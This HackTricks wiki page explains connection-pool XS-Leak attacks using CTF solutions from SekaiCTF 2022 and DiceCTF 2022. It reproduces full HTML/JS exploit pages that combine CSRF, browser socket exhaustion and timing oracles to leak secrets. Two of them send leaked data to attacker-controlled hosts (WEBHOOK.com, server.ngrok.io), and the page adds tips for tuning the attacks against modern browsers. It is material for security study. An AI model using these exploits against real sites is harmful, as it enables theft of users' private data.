connection-pool-example.md (18830B)
1 --- 2 title: "Connection Pool Examples" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/connection-pool-example.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/connection-pool-example.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Connection Pool Examples 14 15 ## Sekaictf2022 - safelist 16 17 In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic_) gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.<sup>[[1]](#references)</sup> 18 19 In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has: 20 21 - The **bot** will **visit** a **URL** given by the attacker 22 - The attacker can **inject HTML** in the page (but no JS, dompurify is used) abusing a **CSRF** making the **bot create a post** with that HTML. 23 - The attacker can abuse a CSRF to make the **bot** **delete** the **first** **post** inside the web. 24 - Because the **posts** are ordered **alphabetically**, when the **first post is deleted**, if the **HTML** content of the attacker is **loaded** means that it was **alphabetically before the flag**. 25 26 Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for each char to test** make the bot: 27 28 - Create a **new post** that **starts** with the known part of the **flag** and several **img** **loads**. 29 - **Delete** the **post** in position **0**. 30 - Block 255 sockets. 31 - Load the page with the posts 32 - Perform 5 random requests to a site (example.com in this case) and measure the time this takes. 33 34 > [!WARNING] 35 > If the **deleted** post was the **flag**, this means that all the **images** **injected** in the HTML are going to be **fighting** with the **5 random requests** for that **unblocked** socket. Which means that the time measured is going to be bigger than the other scenario. 36 > 37 > If the **deleted** post was the **HTML**, the **5 random requests** will be **faster** because they don't need to fight for that socket with the HTML injected. 38 39 ### Exploit 1 40 41 This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):<sup>[[2]](#references)</sup> 42 43 ```html 44 <!-- Form to inject HTML code in the bots page --> 45 <form 46 method="POST" 47 action="https://safelist.ctf.sekai.team/create" 48 id="create" 49 target="_blank"> 50 <input type="text" name="text" /> 51 <input type="submit" /> 52 </form> 53 54 <!-- Form to delete the first entry --> 55 <form 56 method="POST" 57 action="https://safelist.ctf.sekai.team/remove" 58 id="remove" 59 target="_blank"> 60 <input type="text" name="index" value="0" /> 61 <input type="submit" /> 62 </form> 63 64 <script> 65 // Attacker listening 66 const WEBHOOK = "https://WEBHOOK.com/" 67 // Send data to attacker 68 const log = (id, data) => { 69 let payload = JSON.stringify({ known, alphabet, data }) 70 console.log(id, payload) 71 navigator.sendBeacon(WEBHOOK + "?" + id, payload) 72 } 73 74 // Similar to JQuery 75 const $ = document.querySelector.bind(document) 76 77 // Known part of the flag 78 const known = "SEKAI{" 79 let alphabet = "_abcdefghijklmnopqrstuvwxyz}" 80 81 // Reduce the alphabet using a hash (#) in the URL 82 if (location.hash) { 83 alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1))) 84 } 85 86 // Function to leak characters 87 const leak = async (c) => { 88 // Prepare post with known flag and the new char 89 let payload = `${known + c}` 90 // Inject as many <img as possible 91 // you need to respect the CSP and create URLs that are different 92 for (let i = 0; payload.length < 2048; i++) { 93 payload += `<img src=js/purify.js?${i.toString(36)}>` 94 } 95 96 // Inject HTML 97 $("#create input[type=text]").value = payload 98 $("#create").submit() 99 await new Promise((r) => setTimeout(r, 1000)) 100 101 // Remove post with index 0 102 $("#remove").submit() 103 await new Promise((r) => setTimeout(r, 500)) 104 105 let deltas = [] 106 107 // Try each char 3 times 108 for (let i = 0; i < 3; i++) { 109 const SOCKET_LIMIT = 255 110 // you will need a custom server that works like num.sleepserver.com/sleep/delay 111 // needed to freeze the blocked sockets, and they have to all be on different origins 112 // Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard 113 const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60` 114 115 const block = async (i, controller) => { 116 try { 117 return fetch(SLEEP_SERVER(i), { 118 mode: "no-cors", 119 signal: controller.signal, 120 }) 121 } catch (err) {} 122 } 123 124 // block SOCKET_LIMIT sockets 125 const controller = new AbortController() 126 for (let i = 0; i < SOCKET_LIMIT; i++) { 127 block(i, controller) 128 } 129 130 // Make the bot access the page with the posts 131 window.open( 132 "https://safelist.ctf.sekai.team/?" + 133 Math.random().toString(36).slice(2), 134 "pwn" 135 ) 136 await new Promise((r) => setTimeout(r, 500)) 137 138 // Start measuring the time needed for five requests 139 let start = performance.now() 140 await Promise.all([ 141 fetch("https://example.com", { mode: "no-cors" }), 142 fetch("https://example.com", { mode: "no-cors" }), 143 fetch("https://example.com", { mode: "no-cors" }), 144 fetch("https://example.com", { mode: "no-cors" }), 145 fetch("https://example.com", { mode: "no-cors" }), 146 ]) 147 let delta = performance.now() - start 148 document.title = delta 149 controller.abort() 150 151 log("test_" + c + "_" + i, delta) 152 153 // Save time needed 154 deltas.push(delta) 155 } 156 return deltas 157 } 158 159 // Check each char 160 const pwn = async () => { 161 // Try to leak each character 162 for (let i = 0; i < alphabet.length; i++) { 163 //Check the indicated char 164 let deltas = await leak(alphabet[i]) 165 166 // Calculate mean time from requests to example.com 167 let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length 168 169 // If greater than 250, the HTML code was injected (flag in index 0) 170 if (avg > 250) { 171 log("tests_pos_" + alphabet[i], deltas) 172 } 173 // Flag in the page 174 else { 175 log("tests_neg_" + alphabet[i], deltas) 176 } 177 } 178 } 179 180 window.onload = async () => { 181 pwn() 182 } 183 </script> 184 ``` 185 186 ### Exploit 2 187 188 Same tactic but different code from [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)<sup>[[3]](#references)</sup> 189 190 ```html 191 <!DOCTYPE html> 192 <html> 193 <!-- 194 The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread. 195 If images are loading, the request to "/" is slower, otherwise faster. 196 By using a well-crafted height, we can let note with "A" load image but note with "Z" not load. 197 We can use fetch to measure the request time. 198 --> 199 <body> 200 <button onclick="run()">start</button> 201 <form 202 id="f" 203 action="http://localhost:1234/create" 204 method="POST" 205 target="_blank"> 206 <input id="inp" name="text" value="" /> 207 </form> 208 209 <form 210 id="f2" 211 action="http://localhost:1234/remove" 212 method="POST" 213 target="_blank"> 214 <input id="inp2" name="index" value="" /> 215 </form> 216 <script> 217 let flag = "SEKAI{" 218 const TARGET = "https://safelist.ctf.sekai.team" 219 f.action = TARGET + "/create" 220 f2.action = TARGET + "/remove" 221 222 const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) 223 const send = (data) => fetch("http://server.ngrok.io?d=" + data) 224 const charset = "abcdefghijklmnopqrstuvwxyz".split("") 225 226 // start exploit 227 let count = 0 228 setTimeout(async () => { 229 let L = 0 230 let R = charset.length - 1 231 while (R - L > 3) { 232 let M = Math.floor((L + R) / 2) 233 let c = charset[M] 234 send("try_" + flag + c) 235 const found = await testChar(flag + c) 236 if (found) { 237 L = M 238 } else { 239 R = M - 1 240 } 241 } 242 243 // fallback to linear since I am not familiar with binary search lol 244 for (let i = R; i >= L; i--) { 245 let c = charset[i] 246 send("try_" + flag + c) 247 const found = await testChar(flag + c) 248 if (found) { 249 send("found: " + flag + c) 250 flag += c 251 break 252 } 253 } 254 }, 0) 255 256 async function testChar(str) { 257 return new Promise((resolve) => { 258 /* 259 For 3350, you need to test it on your local to get this number. 260 The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold 261 If starts with "A", the image should be loaded because it's in the threshold. 262 */ 263 inp.value = 264 str + 265 '<br><canvas height="3350px"></canvas><br>' + 266 Array.from({ length: 20 }) 267 .map((_, i) => `<img loading=lazy src=/?${i}>`) 268 .join("") 269 f.submit() 270 271 setTimeout(() => { 272 run(str, resolve) 273 }, 500) 274 }) 275 } 276 277 async function run(str, resolve) { 278 // if the request is not enough, we can send more by opening more window 279 for (let i = 1; i <= 5; i++) { 280 window.open(TARGET) 281 } 282 283 let t = 0 284 const round = 30 285 setTimeout(async () => { 286 for (let i = 0; i < round; i++) { 287 let s = performance.now() 288 await fetch(TARGET + "/?test", { 289 mode: "no-cors", 290 }).catch((err) => 1) 291 let end = performance.now() 292 t += end - s 293 console.log(end - s) 294 } 295 const avg = t / round 296 send(str + "," + t + "," + "avg:" + avg) 297 298 /* 299 I get this threshold(1000ms) by trying multiple times on remote admin bot 300 for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold 301 */ 302 const isFound = t >= 1000 303 if (isFound) { 304 inp2.value = "0" 305 } else { 306 inp2.value = "1" 307 } 308 309 // remember to delete the post to not break our leak oracle 310 f2.submit() 311 setTimeout(() => { 312 resolve(isFound) 313 }, 200) 314 }, 200) 315 } 316 </script> 317 </body> 318 </html> 319 ``` 320 321 322 ## Practical Notes for Modern Browsers 323 324 These examples are still useful, but some assumptions from 2022 are **less portable** in modern browsers: 325 326 - **Do not assume a globally shared socket pool anymore.** Firefox's **State Partitioning / Network Partitioning** also covers **connection pooling**, and Brave shipped **pool-party** mitigations after showing that many browser resource pools could be turned into side channels.<sup>[[4]](#references)[[5]](#references)</sup> 327 - When the **global** connection-pool oracle is noisy or simply dead, prefer scenarios where the attacker and victim requests still live in the **same partition** (for example attacker-controlled content rendered by the target site), or switch to the [Connection Pool by Destination Example](/hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example) where the primitive is the **per-destination queue** instead of the global pool. 328 - **Calibrate every browser/profile/run.** The effective limits can change between **headless/headful** runs, and **HTTP/1.1, HTTP/2 and HTTP/3** may **reuse** existing connections. Moreover, **HTTP/2 connection coalescing** means that **different hostnames are not always different sockets** if they end up on the same backend/certificate. 329 - In practice, make your probes more stable by using **`cache: "no-store"`**, random query strings, a short **warm-up round**, and keeping the **same `credentials` mode** across all measurements. If your socket blockers stop blocking, suspect **connection reuse/coalescing** before assuming the leak is gone. 330 - Thresholds are usually **empirical**. The safelist writeups above relied on averaging multiple rounds and tuning the cutoff on the real bot/browser before bruteforcing characters. 331 332 333 ## DiceCTF 2022 - carrot 334 335 In this case the first step of the exploit was to abuse a CSRF to modify the page where the flag is contained so it has **much more content** (and therefore loading it takes more time), and then **abuse the connection pool to measure the time it takes to access the page** that could be potentially having the flag. 336 337 In the exploit you can see: 338 339 - Abuse CSRF 340 - Occupy all the sockets but 1 341 - Calibrate the response 342 - Start bruteforcing by accessing the potential page with the flag 343 - The potential page will be accessed and immediately an attackers controlled URL will also be accessed to check how much time both requests take. 344 345 ```html 346 <h1>DiceCTF 2022 web/carrot</h1> 347 348 <p> 349 Step 1: CSRF the admin user, to set a super long title for the flag note (LAX 350 + POST form only possible for 2 minutes after cookies is created) 351 </p> 352 <button onclick="csrf()">do csrf</button> 353 <p> 354 Step 2: XS-Search with 355 <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/" 356 >connection-pool timing leak</a 357 >, we have to use window.open (LAX cookie) 358 </p> 359 360 <button onclick="popunder()">open popup</button> 361 <button onclick="exhaust_sockets()">open 255 connections</button> 362 <button onclick="oracle('dice{abc')">test search "abc" (slow)</button> 363 <button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button> 364 <br /> 365 <br /> 366 <h2 id="output"></h2> 367 <br /> 368 <form id="x" action="" method="POST" style="display:none;"> 369 <input type="text" name="title" placeholder="title" /> 370 <br /><br /> 371 <input type="number" name="priority" placeholder="priority" value="9999" /> 372 <br /><br /> 373 <textarea name="content" placeholder="content" rows="5" cols="20"></textarea> 374 <br /><br /> 375 <input type="submit" value="submit" /> 376 </form> 377 378 <script> 379 // this is send is used as logging 380 LOG = "Starting" 381 // 255 in normal chrome, 99 in headless 382 SOCKETLIMIT = 255 383 // default 384 TIMELIMIT = 800 385 INSTANCE = "" 386 MYSERVER = `example.com` 387 388 const sleep = (ms) => { 389 return new Promise((resolve) => { 390 setTimeout(resolve, ms) 391 }) 392 } 393 394 const time_fetch = async () => { 395 let test_server_url = `https://${MYSERVER}/?${LOG}` 396 let start = window.performance.now() 397 try { 398 await fetch(test_server_url, { 399 mode: "no-cors", 400 }) 401 } catch (e) { 402 console.log(e) 403 } 404 let end = window.performance.now() 405 return end - start 406 } 407 408 const fetch_sleep_long = (i) => { 409 // 40s sleep 410 return fetch(`https://${i}.${MYSERVER}/40sleep`, { 411 mode: "no-cors", 412 }) 413 } 414 415 const fetch_sleep_short = (i) => { 416 // 0.25s sleep 417 return fetch(`https://${i}.${MYSERVER}/ssleep`, { 418 mode: "no-cors", 419 }) 420 } 421 422 const block_socket = async (i) => { 423 fetch_sleep_long(i) 424 // needed? 425 await sleep(0) 426 } 427 428 const exhaust_sockets = async () => { 429 let i = 0 430 for (; i < SOCKETLIMIT; i++) { 431 block_socket(i) 432 } 433 console.log(`Used ${i} connections`) 434 } 435 436 const timeit = async (url, popup) => { 437 return new Promise(async (r) => { 438 popup.location = url 439 // needed? 440 await sleep(50) 441 442 let val = await time_fetch() 443 r(val) 444 }) 445 } 446 447 // const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split(''); 448 const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("") 449 // const alphabet = 'abcdef}'.split(''); 450 451 const oracle = async (search) => { 452 let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}` 453 let t = await timeit(url, WINBG) 454 455 LOG = `${search}:${t}` 456 console.log(`${search}:${t}`) 457 458 return t > TIMELIMIT 459 } 460 461 const brute = async (flag) => { 462 for (const char of alphabet) { 463 if (await oracle(flag + char)) { 464 return char 465 } 466 } 467 return false 468 } 469 470 const calibrate = async () => { 471 return new Promise(async (r) => { 472 // slow 473 let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{` 474 let t1 = await timeit(url1, WINBG) 475 console.log(`slow:${t1}`) 476 // fast 477 let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX` 478 let t2 = await timeit(url2, WINBG) 479 console.log(`fast:${t2}`) 480 return r((t1 + t2) / 2) 481 }) 482 } 483 484 const exploit = async (flag = "") => { 485 console.log("Starting") 486 // dont go to fast plz :) 487 console.log(`waiting 3s`) 488 await sleep(3000) 489 // Exhaust available sockets 490 await exhaust_sockets() 491 await sleep(2000) 492 LOG = `Calibrating` 493 TIMELIMIT = await calibrate() 494 LOG = `TIMELIMIT:${TIMELIMIT}` 495 console.log(`timelimit:${TIMELIMIT}`) 496 await sleep(2000) 497 let last 498 while (true) { 499 last = await brute(flag) 500 if (last === false) { 501 return flag 502 } else { 503 flag += last 504 output.innerText = flag 505 if (last === "}") { 506 return flag 507 } 508 } 509 } 510 } 511 512 const popunder = () => { 513 if (window.opener) { 514 WINBG = window.opener 515 } else { 516 WINBG = window.open(location.href, (target = "_blank")) 517 location = `about:blank` 518 } 519 } 520 521 const csrf = async () => { 522 x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0` 523 x.title.value = "A".repeat(1000000) 524 x.submit() 525 } 526 527 window.onload = () => { 528 let p = new URL(location).searchParams 529 if (!p.has("i")) { 530 console.log(`no INSTANCE`) 531 return 532 } 533 INSTANCE = p.get("i") 534 // step 1 535 if (p.has("csrf")) { 536 csrf() 537 return 538 } 539 // step 2 540 if (p.has("exploit")) { 541 // window open is ok in headless :) 542 popunder() 543 544 exploit("dice{") 545 } 546 } 547 </script> 548 ``` 549 550 551 ## References 552 553 - [1] [Sekaictf2022 - safelist challenge solution](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) 554 - [2] [SEKAI CTF 2022 safelist - solve.html exploit](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html) 555 - [3] [SEKAI CTF 2022 safelist XS-Leak writeup (Huli)](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/) 556 - [4] [MDN - State Partitioning](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning) 557 - [5] [Brave - Preventing pool-party attacks](https://brave.com/privacy-updates/13-pool-party-side-channels/)